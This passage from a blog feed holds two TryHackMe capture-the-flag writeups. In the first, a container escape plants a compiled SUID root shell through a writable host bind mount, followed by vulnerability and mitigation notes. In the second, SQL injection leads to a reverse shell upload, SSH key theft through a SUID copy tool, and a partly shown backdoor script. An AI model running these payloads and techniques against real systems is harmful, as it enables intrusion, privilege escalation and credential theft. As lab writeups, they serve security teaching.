&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-name&lt;/span&gt; log 2&amp;gt;/dev/null
/var/log
connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/log
total 3900
drwxrwxr-x   9 root      syslog             4096 May 11  2020 &lt;span class="nb"&gt;.&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10. Planting a SUID root binary on the host
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~/app# which gcc
/usr/bin/gcc
root@playgroundweb:~/app# &lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;' &amp;gt; /tmp/privesc.c
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;root@playgroundweb:~/app# gcc &lt;span class="nt"&gt;-static&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /mnt/log/privesc /tmp/privesc.c
root@playgroundweb:~/app# &lt;span class="nb"&gt;chmod &lt;/span&gt;4755 /mnt/log/privesc
root@playgroundweb:~/app# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /mnt/log/privesc
&lt;span class="nt"&gt;-rwsr-xr-x&lt;/span&gt; 1 root root 877640 Sep 22 08:32 /mnt/log/privesc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11. Privilege escalation via the planted SUID binary
&lt;/h3&gt;

&lt;p&gt;The binary written to &lt;code&gt;/mnt/log/privesc&lt;/code&gt; inside the container appears on the host at the corresponding &lt;code&gt;/var/log&lt;/code&gt; path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/log/privesc
&lt;span class="nt"&gt;-rwsr-xr-x&lt;/span&gt; 1 root root 877640 Sep 22 08:32 /var/log/privesc
connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;/var/log/privesc &lt;span class="nt"&gt;-p&lt;/span&gt;
root@pythonplayground:~# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
root@pythonplayground:~# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;,1000&lt;span class="o"&gt;(&lt;/span&gt;connor&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Final flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@pythonplayground:/root# &lt;span class="nb"&gt;cat &lt;/span&gt;flag3.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Insecure Python "sandbox" (blacklist-based code execution filter)&lt;/strong&gt; - The application attempts to block dangerous code by string/keyword matching rather than using a real sandboxing mechanism (e.g., restricted execution environment, seccomp, containerized subprocess with no filesystem/network access). &lt;code&gt;__import__()&lt;/code&gt; used as a callable bypasses any blacklist built around literal &lt;code&gt;import&lt;/code&gt; statements or named function calls.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unrestricted server-side code execution as root&lt;/strong&gt; - The playground process itself ran as &lt;code&gt;root&lt;/code&gt; inside its container, turning a filter bypass directly into full container compromise instead of a constrained low-privilege execution context.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sensitive host path bind-mounted into a container with write access&lt;/strong&gt; - &lt;code&gt;/var/log&lt;/code&gt; on the host was mounted into the application container at &lt;code&gt;/mnt/log&lt;/code&gt; with read/write permissions, allowing a compromised container process to write arbitrary files (including a SUID binary) directly onto the host filesystem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak "custom crypto" for credential storage&lt;/strong&gt; - The &lt;code&gt;connor&lt;/code&gt; password was protected only by a simple, reversible double-pass substitution/letter-pair cipher rather than a proper password hash, making it trivial to invert once the transformation logic was discovered.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hidden but unauthenticated admin endpoint&lt;/strong&gt; - &lt;code&gt;super-secret-admin-testing-panel.html&lt;/code&gt; was reachable by anyone who found or guessed the path; there was no authentication gating access to the code-execution feature at all.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never implement sandboxing via keyword/string blacklists for a language as dynamically expressive as Python; use vetted sandboxing (e.g., &lt;code&gt;nsjail&lt;/code&gt;, gVisor, WebAssembly-based interpreters, or a fully separate least-privileged execution service) or disallow arbitrary code execution features entirely.&lt;/li&gt;
&lt;li&gt;Run code-execution services as an unprivileged, tightly scoped user inside the container, with a read-only root filesystem and no unnecessary capabilities.&lt;/li&gt;
&lt;li&gt;Avoid bind-mounting sensitive host directories (especially &lt;code&gt;/var/log&lt;/code&gt; or anything else outside a dedicated data directory) into containers, and never mount them writable unless strictly required; apply the principle of least privilege to all mount points.&lt;/li&gt;
&lt;li&gt;Store credentials using a proper password hashing algorithm (bcrypt/argon2/scrypt) rather than any reversible or "security through obscurity" cipher.&lt;/li&gt;
&lt;li&gt;Require authentication before exposing any code-execution or administrative functionality, and avoid relying on "hidden" endpoint names as an access control mechanism.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe - Olympus Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Thu, 10 Sep 2026 09:40:12 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-olympus-writeup-ok2</link>
      <guid>https://dev.to/exploitnotes/tryhackme-olympus-writeup-ok2</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Olympus is a Linux box built around an old Victor CMS 1.0 install hidden&lt;br&gt;
under &lt;code&gt;/~webmaster/&lt;/code&gt;. An unauthenticated SQL injection in the CMS search&lt;br&gt;
feature was the root of the entire chain: it dumped an initial flag, user&lt;br&gt;
password hashes, and a full chat log. One cracked password unlocked both&lt;br&gt;
the CMS admin panel and a second vhost, &lt;code&gt;chat.olympus.thm&lt;/code&gt;, running a&lt;br&gt;
custom chat app with file upload. A PHP reverse shell was uploaded there,&lt;br&gt;
and its randomized server-side filename - meant to stop direct access -&lt;br&gt;
was recovered from the database through the same SQL injection, giving a&lt;br&gt;
&lt;code&gt;www-data&lt;/code&gt; shell. From there, a SUID file-copy utility owned by user&lt;br&gt;
&lt;code&gt;zeus&lt;/code&gt; was abused to exfiltrate &lt;code&gt;zeus&lt;/code&gt;'s SSH private key despite the&lt;br&gt;
&lt;code&gt;.ssh&lt;/code&gt; directory being otherwise inaccessible; cracking its passphrase&lt;br&gt;
gave an SSH shell as &lt;code&gt;zeus&lt;/code&gt; and the user flag. &lt;code&gt;zeus&lt;/code&gt;'s group membership&lt;br&gt;
on a hidden web directory exposed a password-protected PHP "root shell&lt;br&gt;
backdoor" script left behind by a previous attacker (&lt;code&gt;prometheus&lt;/code&gt;);&lt;br&gt;
reading its source revealed the hardcoded password, and calling it&lt;br&gt;
returned a reverse shell running as &lt;code&gt;root&lt;/code&gt;, yielding the root flag and a&lt;br&gt;
bonus flag hidden elsewhere on disk.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;MACHINE_IP&amp;gt; olympus.thm'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The root page is a static "under development" placeholder (Aperi'Solve /&lt;br&gt;
particles.js branding), nothing actionable directly.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;dirsearch&lt;/code&gt; and &lt;code&gt;ffuf&lt;/code&gt; against &lt;code&gt;olympus.thm&lt;/code&gt; found a hidden user directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://olympus.thm/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-ac&lt;/span&gt;

~webmaster              &lt;span class="o"&gt;[&lt;/span&gt;Status: 301, Size: 315, ...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;http://olympus.thm/~webmaster/&lt;/code&gt; serves a Victor CMS 1.0 site (confirmed&lt;br&gt;
by HTML comments: &lt;code&gt;@project 'Simple Content Management System'&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;@author 'Victor Alagwu'&lt;/code&gt;). A "Credentials" blog post on the site hints&lt;br&gt;
that some users reuse weak/common passwords.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;whatweb http://olympus.thm/~webmaster/

Apache[2.4.41], Bootstrap[3.3.7], Cookies[PHPSESSID], PHP, JQuery, Title[Victor CMS]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. Identifying the Vulnerable CMS
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;searchsploit victor cms

Victor CMS 1.0 - 'Search' SQL Injection              | php/webapps/48734.txt
Victor CMS 1.0 - Authenticated Arbitrary File Upload  | php/webapps/48490.txt
Victor CMS 1.0 - File Upload To RCE                   | php/webapps/49310.txt
Victor CMS 1.0 - Multiple SQL Injection (Authenticated)| php/webapps/49282.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The unauthenticated &lt;code&gt;search&lt;/code&gt; parameter on &lt;code&gt;search.php&lt;/code&gt; is directly&lt;br&gt;
injectable per the advisory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="no"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;CMSsite&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1337&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="n"&gt;union&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nf"&gt;version&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="nf"&gt;database&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. SQL Injection - search.php
&lt;/h2&gt;

&lt;p&gt;Automated with sqlmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://olympus.thm/~webmaster/search.php"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"search=1337*&amp;amp;submit="&lt;/span&gt; &lt;span class="nt"&gt;--dbs&lt;/span&gt; &lt;span class="nt"&gt;--random-agent&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sqlmap confirmed boolean-based, error-based, time-based, and UNION-based&lt;br&gt;
injection on the custom &lt;code&gt;search&lt;/code&gt; POST parameter, and enumerated the&lt;br&gt;
databases:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;available databases [6]:
[*] information_schema
[*] mysql
[*] olympus
[*] performance_schema
[*] phpmyadmin
[*] sys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.1 Tables
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap ... &lt;span class="nt"&gt;-D&lt;/span&gt; olympus &lt;span class="nt"&gt;--tables&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;6 tables]
categories, chats, comments, flag, posts, &lt;span class="nb"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Flag table
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sqlmap ... -D olympus -T flag --dump

+---------------------------+
| flag                      |
+---------------------------+
| flag{REDACTED}            |
+---------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Users table
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sqlmap ... -D olympus -T users --dump

| user_id | user_name  | user_role | user_email             | user_password (bcrypt)                                      |
|   3     | prometheus | User      | prometheus@olympus.thm | $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C |
|   6     | root       | Admin     | root@chat.olympus.thm  | $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK |
|   7     | zeus       | User      | zeus@chat.olympus.thm  | $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;root&lt;/code&gt;/&lt;code&gt;zeus&lt;/code&gt; emails leak a second vhost: &lt;code&gt;chat.olympus.thm&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Cracking the Hash
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt user-hash.txt

summertime       &lt;span class="o"&gt;(&lt;/span&gt;prometheus&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;prometheus : summertime&lt;/code&gt; cracked against the bcrypt hash; &lt;code&gt;root&lt;/code&gt; and&lt;br&gt;
&lt;code&gt;zeus&lt;/code&gt; were not cracked with rockyou.&lt;/p&gt;
&lt;h2&gt;
  
  
  6. CMS Admin Access
&lt;/h2&gt;

&lt;p&gt;Logged into &lt;code&gt;http://olympus.thm/~webmaster/admin/&lt;/code&gt; as &lt;code&gt;prometheus&lt;/code&gt;. The&lt;br&gt;
Users page confirms the same three accounts and the &lt;code&gt;chat.olympus.thm&lt;/code&gt;&lt;br&gt;
addresses seen in the SQLi dump.&lt;/p&gt;
&lt;h2&gt;
  
  
  7. Second Vhost - chat.olympus.thm
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;MACHINE_IP&amp;gt; chat.olympus.thm'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The same &lt;code&gt;prometheus:summertime&lt;/code&gt; credentials work at&lt;br&gt;
&lt;code&gt;http://chat.olympus.thm/login.php&lt;/code&gt;, landing on &lt;code&gt;home.php&lt;/code&gt;: a custom chat&lt;br&gt;
app with a message box and file upload.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.1 Chat history via SQLi
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;chats&lt;/code&gt; table was pulled directly through the same &lt;code&gt;search.php&lt;/code&gt;&lt;br&gt;
injection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sqlmap ... -D olympus -T chats --dump

| dt         | msg                                | uname      | file                                  |
| 2022-04-05 | Attached : prometheus_password.txt | prometheus | 47c3210d51761686f3af40a875eeaaea.txt  |
| 2022-04-06 | random file name function...       | zeus       | &amp;lt;blank&amp;gt;                               |
| 2026-09-10 | Attached : rev.php                 | prometheus | ff1957eacecdeafa2f3b285a01f40920.php  |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uploaded files are renamed server-side to a random 32-character hex&lt;br&gt;
string as an access control - an old chat message from &lt;code&gt;zeus&lt;/code&gt; confirms&lt;br&gt;
this was intentional ("The IT guy used a random file name function to&lt;br&gt;
make it harder for attackers to access the uploaded files"). It fails&lt;br&gt;
because the real generated filename is stored in &lt;code&gt;chats.file&lt;/code&gt; and is&lt;br&gt;
readable through the same SQL injection, defeating the protection&lt;br&gt;
entirely.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;{{7*7}}&lt;/code&gt; message was also sent to probe for server-side template&lt;br&gt;
injection; it was not confirmed to render before moving on.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.2 Reverse shell upload
&lt;/h3&gt;

&lt;p&gt;A PHP reverse shell (&lt;code&gt;rev.php&lt;/code&gt;) was uploaded via the chat file input. Per&lt;br&gt;
the &lt;code&gt;chats&lt;/code&gt; dump, it was stored as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ff1957eacecdeafa2f3b285a01f40920.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Requesting that filename returned a shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;New Reverse Shell] &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; www-data&lt;span class="o"&gt;(&lt;/span&gt;33&lt;span class="o"&gt;)&lt;/span&gt;
www-data@&amp;lt;MACHINE_IP&amp;gt;:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;,7777&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. www-data Enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/zeus/zeus.txt

Hey zeus &lt;span class="o"&gt;!&lt;/span&gt;
I managed to hack my way back into the olympus eventually.
Looks like the IT kid messed up again &lt;span class="o"&gt;!&lt;/span&gt;
I&lt;span class="s1"&gt;'ve now got a permanent access as a super user to the olympus.
                                                - Prometheus.

cat /home/zeus/user.flag
flag{REDACTED}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/home/zeus/.ssh&lt;/code&gt; denies access directly, but a SUID binary owned by&lt;br&gt;
&lt;code&gt;zeus&lt;/code&gt; was found:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep &lt;/span&gt;cputils
&lt;span class="nt"&gt;-rwsr-xr-x&lt;/span&gt; 1 zeus zeus 17728 Apr 18  2022 /usr/bin/cputils
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cputils&lt;/code&gt; is a simple file-copy utility that runs with &lt;code&gt;zeus&lt;/code&gt;'s effective&lt;br&gt;
UID, so it can read files &lt;code&gt;www-data&lt;/code&gt; otherwise cannot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/authorized_keys
Enter the Name of Target File: /tmp/auth_keys
File copied successfully.

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: /tmp/id_rsa
File copied successfully.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both files were copied out to &lt;code&gt;/tmp&lt;/code&gt;, giving zeus's SSH keypair.&lt;/p&gt;

&lt;h2&gt;
  
  
  9. Cracking the SSH Key and Logging in as zeus
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh2john zeus-key &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; zeus-hash
john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt zeus-hash

snowflake        &lt;span class="o"&gt;(&lt;/span&gt;zeus-key&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; zeus-key zeus@olympus.thm

zeus@&amp;lt;MACHINE_IP&amp;gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.flag
flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; failed (no known password), and standard privesc checks&lt;br&gt;
(SUID binaries, &lt;code&gt;find -group adm&lt;/code&gt;, listening ports, &lt;code&gt;ps aux&lt;/code&gt;) did not&lt;br&gt;
turn up anything further directly - the actual path forward was a file&lt;br&gt;
&lt;code&gt;zeus&lt;/code&gt; had incidental access to.&lt;/p&gt;
&lt;h2&gt;
  
  
  10. Root via a Leftover Backdoor Webshell
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-user&lt;/span&gt; zeus 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s1"&gt;'^/proc\|^/sys\|^/run'&lt;/span&gt;
...
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/index.html
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/www/html/
drwxrwx--x 2 root zeus 4096 Jul 15  2022 0aB44fdS3eDnLkpsz3deGv8TttR4sc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The directory is &lt;code&gt;root:zeus&lt;/code&gt; with group execute/read, so &lt;code&gt;zeus&lt;/code&gt; can enter&lt;br&gt;
it and read its contents (but not list it via a plain top-level listing).&lt;br&gt;
Inside is a password-gated PHP reverse-shell backdoor, apparently planted&lt;br&gt;
by &lt;code&gt;prometheus&lt;/code&gt; per the earlier note ("I've now got a permanent access as&lt;br&gt;
a super user to the olympus"):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"a7c5ffcf139742f52a5267c4a0674129"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
